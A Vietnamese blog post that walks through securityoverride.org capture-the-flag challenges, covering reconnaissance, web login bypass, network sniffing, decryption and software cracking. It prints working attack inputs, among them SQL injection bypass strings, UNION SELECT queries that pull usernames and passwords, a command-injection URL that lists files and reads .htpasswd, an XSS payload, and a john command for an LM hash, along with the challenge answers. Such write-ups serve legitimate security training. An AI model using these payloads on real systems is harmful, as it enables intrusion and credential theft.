Hướng dẫn chơi CTF tại securityoverride.org phần reconnaissance, basic, javascript
1. Reconnaissance
1.1 IP address identificationDùng lệnh “ping securityoverride.org” trong cmd
KQ: địa chỉ IP: 206.214.216.120 -> Check.
1.2 NS server identification
Vào trang web http://whois.net tra “securityoverride.org”
Name Server:NS2.423NETWORK.COM
Name Server:NS2.423NETWORK.COM
1.3 PHP version identification
Dùng add-on HTTP Headers (Google Chrome)
KQ: PHP/5.3.27
1.4 Full path disclosure identification
Thêm [] sau chữ page.
http://securityoverride.org/challenges/reconnaissance/4/index.php?page[]=1
Kết quả: /opt/lampp/htdocs/challenges/reconnaissance/4/index.php
1.5 Full path disclosure identification via array
Dùng add-on Edit this Cookie (Google Chrome)
Cho PHPSESSID về giá trị rỗng
KQ: /opt/lampp/public_html/challenges/reconnaissance/5/index.php
2. Basic
2.1 Low level password discoveryMở View page source và tìm password( Ctrl + F , gõ password)
KQ: <!– The password is 1382167171 –>
2.2 Medium level password discovery
Mở View page source ta thấy có file pass.html
Vào trang https://securityoverride.org/challenges/basic/2/pass.html
KQ: 4ns94l2n8sqk
2.3 User agent
Dùng add-on User-Agent Switcher for Chrome (Google Chrome)
Add thêm 1 User-Agent:
Name: Googlebot
String: Googlebot/2.1 (+http://www.googlebot.com/bot.html)
Chọn User-Agent đó và reload lại trang web
2.4 Low level Tamper Data
Dùng add-on Request Maker (Google Chrome)
Dùng lệnh POST để gửi gói tin với thông số uname=Admin
2.5 Low level Tamper Data + additional security
Dùng Firefox với add-on Tamper Data
Vào Tool -> Tamper Data -> nhấn vào Start Tamper
nhấn login -> Tamper
Sửa lại thông số uname=Admin.
Ok
2.6 Medium level Tamper Data
Dùng Debug trong Google Chrome: Ctrl+Shift+I
Sửa value=”admin@securityoverride.com” thành email của mình.
Reset và checkmail.
KQ: b67nd7rg64f
2.7 HTTP protocol
Dùng add-on HTTP Headers (Google Chrome)
KQ: 81gl32lb8w0e
2.8 Low level SQL injection
Sử dụng bypass
Gõ vào textbox password dòng “’ OR a=a –“
2.9 Cookies
Dùng add-on Edit this Cookie (Google Chrome)
Cho access về giá trị Yes và reload lại web
2.10 Poisonous Cookies
Nhập password sai 1 lần
Bắt cookie và sửa lại giá trị pass=’ OR 1=1 –
Reload lại web
2.11 Low level script injection
Dùng lệnh linix trên URL: https://securityoverride.org/challenges/basic/11/index.php?status=1|ls|cat
Xuất hiện file: 4cgh2Sj4A.txt
Vào trang https://securityoverride.org/challenges/basic/11/4cgh2Sj4A.txt
KQ: 4F6gb3xghj6
2.12 High level SQL injection
https://securityoverride.org/challenges/basic/12/index.php?id=1 order by 5–
https://securityoverride.org/challenges/basic/12/index.php?id=1 union select 1,2,3,4–
Tìm được bảng bị lỗi là bảng 2
https://securityoverride.org/challenges/basic/12/index.php?id=1 union select 1,table_name,3,4 from information_schema.tables–
Tìm được tên bảng bị lỗi: users
https://securityoverride.org/challenges/basic/12/index.php?id=1 union select 1,concat(user,0x3A,password),3,4 from users–
KQ: 4c5D4s4ab3
2.13 Unsanitized exec (The Magic 8-Ball level)
Sử dụng lệnh Linux trong textbox Question
ls để liệt kê các file
8ball.sh
index.php
level13.php
5h6Xsxab.txt
.htaccess
.htpasswd
gõ: cat .htpasswd ta lấy được username: root
gõ tiếp cat 5h6Xsxab.txt ta lấy được password: 3dVgsa3v4
Vào trang https://securityoverride.org/challenges/basic/13/index.php
Đăng nhâp với username và password ở trên
2.14 Medium Level XSS
Viết vào comment dòng [color=expression(alert(123))]tru[/color] và click post comment
3. Javascript
3.1 Login BypassTắt chức năng chạy javascript
Google Chrome (15.0)
- Nhấp vào biểu tượng trình đơn trên thanh công cụ của trình duyệt.
- Chọn Cài đặt.
- Nhấp vào liên kết Hiển thị cài đặt nâng cao....
- Nhấp vào Cài đặt nội dung trong 'phần Bảo mật'.
- Chọn Không cho phép bất kỳ trang web nào chạy JavaScript trong phần 'JavaScript'.
Microsoft Internet Explorer, Mozilla Firefox hoặc Apple Safari
Load lại trang http://securityoverride.org/challenges/javascript/1/3.2 Login Bypass
View page source
search pasword:
Nhìn dòng onclick=javascript:validate(text2.value,'Admin',text1.value,'75Vd346h')
Username: Admin
Password: 75Vd346h
3.3 Login Bypass
- View page source
- KQ: 4D3dchfa
3.4 Login Bypass
View page source
Lấy 4* 2168827.25
KQ: 8675309
3.5 Extended Math
View page source
Dùng add-on Scratchpad trong FF
Tool -> Web developer -> Scratchpad
gõ như hình
var pass1= '451';
var pass2= '502181';
var pass3= pass1*pass2;
var pass4= pass3-71088;
var pass5= pass4%1472;
var pass6= pass5+'175205';
alert(pass6);
var pass1= '451';
var pass2= '502181';
var pass3= pass1*pass2;
var pass4= pass3-71088;
var pass5= pass4%1472;
var pass6= pass5+'175205';
alert(pass6);
var pass2= '502181';
var pass3= pass1*pass2;
var pass4= pass3-71088;
var pass5= pass4%1472;
var pass6= pass5+'175205';
alert(pass6);
var pass1= '451';
var pass2= '502181';
var pass3= pass1*pass2;
var pass4= pass3-71088;
var pass5= pass4%1472;
var pass6= pass5+'175205';
alert(pass6);
var pass1= '451';
var pass2= '502181';
var pass3= pass1*pass2;
var pass4= pass3-71088;
var pass5= pass4%1472;
var pass6= pass5+'175205';
alert(pass6);
kết quả 12791752053.6 cứ ok cho nó vào, tại thông báo lỗi, click chuột phải chọn xem nguồn với Firebug, edit tại đây để lấy pass
<script type="text/javascript" language="JavaScript"><!--var p4ss= 'notsoevil'; p4ssword=prompt('Please enter the Password!',''); if (p4ssword==p4ss) { window.location.href=p4ssword+'.php'; }var pass= '666'; // This script is evil. >:Dpassword=prompt('Please enter the Password!','');if (password==pass) {window.location.href=password+'.php';}//-->
3.7
view code-->search hash-->copy, paste vào http://md5crack.com/-->lấy pass
3.8
chrome, nhấn Ctrl+U-->search decipher.js-->click vào nó-->search keyword-->lấy key
http://kamisukagodam.blogspot.com/2012/07/javascript-level-8-on.html
3.9
dùng firebug để view source ngay nút login-->sửa code y như đoạn màu đỏ
<script language="javascript">function validate(text1,text2,text3,text4) {sau đó copy username và pass đã mã hóa để login
if (text1==text2 && text3==text4){
unEncryptall();} else
{
document.getElementById('responce').innerHTML = '<font color="#FF0000"><center>Incorrect Username or Password. Please try again</center></font>'; }
}
function load(url) {
location.href=url;
}
checkForJavascript();
<div id="challengelogin"><input type="button" onclick="javascript:validate(text2.value,'Admin',text1.value,'72c38db3971a6ea8814a247896137b5e9178d049')" value="">
Mission 1:
Đây là trường hợp xác thực FTP bị sniff bởi wireshark. Vì FTP gửi dưới dạng clear-text nên không nhiều khó khăn để có được username, passwd. Dùng Follow TCP Stream để theo dõi gói tin.
Mission 2:
Hint: Lần này là giao thức SMTP. giao thức mail vẫn dạng clear-text... Quá sướng. Cũng Follow TCP Stream dễ dàng tìm được email nguồn và đích. That's all.
Mission 3:
Hint: Vẫn là SMTP nhưng lần này người ta cần username và passwd. Vì là pcap nên ta vẫn Follow TCP Stream. Tìm thử gói nào có nói gì về username, pass gì ko?? Không.. Nhưng có 1 từ nhạy cảm khác: "AUTH LOGIN". Yeah, that's right. And beside that I got a string: "334 VXNlcm5hbWU6QXVkaQ==334 UGFzc3dvcmQ6MTIzNGFk"
So what do you think about that. try to guess. The last hint for you: base64
Mission 4:
Hint: Lần này là HTTP, vẫn ko có mã hóa. Try to Follow TCP Stream a packet, you will find a string: "Authorization: Basic YWRtaW5pc3RyYXRvcjpwQHNzdzByZA==". Of course, base64 again.
Mission 5:
Hint: Telnet, và vẫn clear-text. Follow TCP Stream vài gói tin và ta sẽ thấy:"login: .............P..........AAbbbbyypassword: 1*2*3*@*4*$*"... Nhập thử xem, it's wrong. Nhìn nhìn lại, ta sẽ thấy rằng đoạn string trên trong WireShark có 2 màu khác nhau: xanh và đỏ. Thử chỉ dùng 1 màu xem sao. Do it.
Mission 6:
Hint: Lần này người ta yêu cầu lấy tên file và nội dung bí mật trong file ấy. Sau vài lần Follow TCP Stream hoặc Follow UDP Stream ta dễ dàng có được tên file: ***.txt. Việc tiếp theo là ta cần xem nội dung file. Nếu ta để ý thì sẽ thấy bên cạnh tên file: ***.txt là kèm theo kích thước file. Đó là 1 manh mối. Tại sao bạn không tìm gói tin nào có kích thước ấy. Hãy thử xem.
level 10
- Open aircrack-ng to find WEP key5. Relistic
Aircrack-ng your-file.cap
- Ok, wait and take a cup of coffee
- Add the key to Wireshark, turn on your Wireless toolbar and derypt it.
Edit -> Preferences – IEEE 802.11
- Follow one of tcp streams, user and password may be in HTTP header
- BASE64, very simple
Level 2
6. Decryption
level 1
dùng site http://crypo.in.ua/tools/eng_rot13.php để encryption
level 2
dùng site http://www.base64decode.org/ để encryption
level 3
dùng site http://encodertool.com/binary để encryption
level 4
dùng john để giải mã,
root@bt:/pentest/passwords/john# echo user:8A30AF3895CDD76BAAD3B435B51404EE > a
root@bt:/pentest/passwords/john# john --format=LM a
level 5
dùng site http://md5online.org/ để decryp
level 6
dùng site http://www.md5decrypter.co.uk/ để encryption
level 7
dùng site http://www.asciitable.com/ để tra thứ tự mã ascii, sau đó phát hiện quy luật -5+5-5...7.Programming
level 11
8.Software crackingBài giải:
B1: Chạy .exe
B2: Vào challenge kéo để chuột phía trên bên trái captcha (đừng để ngoài khung đen để trong khung đen nhưng k đụng captchar) đè CTRL rồi kéo chuột về phía dưới bên phải captcha nhả CTRL
B3: Đợi chương trình thực thi xong (Góc trái bên trên màn hình mất nháy trắng)
B4: Ctrl + V rồi submitThuật toán: ( Xem chung code sẽ có thể hiểu =)) )
Chương trình xác định vị trí trỏ chuột lúc đè CTRL và nhả CTRL để xác định CaptcharSau đó duyệt hết tất cả pixel trong phần vừa xác định đó … xem ô nào có 3 màu phối là RED GREEN BLUE đều lớn hơn 210 (gần trắng) thì sẽ đánh dấu là 1 trong mảng 2 chiềuSau đó dùng dòng 4 x 2 Dòng For để căn chuẩn lại phần chỉ chứa captchar (Trong code ghi là ;++Tim TOP BOT LEFT RIGHT cua phan dc xu ly (Tim phan chuan)Để ý thì Captchar này có quy luật … một ô chứa kí tự có đúng 5×6 pixel nên dùng dòng for để duyệt từng BLOCK 5×6 pixel đó SUM là biến để kiểm tra xem trong ô đó có bật đúng pixel không …
Ví dụ: 1 thì các pixel đc bật là 1-1 và 2-3 thì SUM = 1*1 + 1*1*1 + 2*2 + 3*3*3 – tương tự thế cho các ô tắt (tức là SUM = ZICMA( z*(x^2 + y^3)) z = 1 nếu pixel gần trắn z = -1 nếu pixel k gần trắngNhư vậy captcha 1 có 1 giá trị SUM riêng … sau 1 hồi tìm kiếm sẽ ra tất cả các giá trị SUM cần rồi cho vào SWITCH
Cứ mỗi lần qua 1 block sẽ biết đc SUM => chữ gì XongP/S: CODE Này sẽ lỗi khi kí tự đầu captcha là 0 và 1 …
level 1
mở bằng IDA, và tìm key
level 2Nhập chuỗi nào :))
level 3
B1. Load với PEid xem
Viết bằng Dev C++ và No Crypto .... quá tốt
B2. Load vào IDA xem
Đập ngay vào mắt là cái này:
Như vậy, nó sẽ hiện Password ở Nag rồi..... tiến hành Patch thôi
B3. Soi code trên IDA nào
Giao diện như ở đầu
Tiến thêm thấy cái này
Dòng Congratulations !!!.... Nhưng trước đó lại là JZ :))
B4. Thử change ZF=0 xem :)). Set BP rồi F9 nào
Tiến hành F9 nào
Nhập fake Serial: tpmtNhập: change ZF=0
Rồi F8
Đúng như dự đoán
Giờ ta làm ngoài lề, Patch thử xem
Như vậy là 401686
Load trên OllDbg
Tiến hành Patch với OllDbg
Rồi ta được file Patch
Test thử xem
9. Steganography
level 1
dùng phần mềm photome để xem ảnh10. Programming
level 1
dùng code đảo ký tự trong exell là nhanh nhất excell
Không có nhận xét nào:
Đăng nhận xét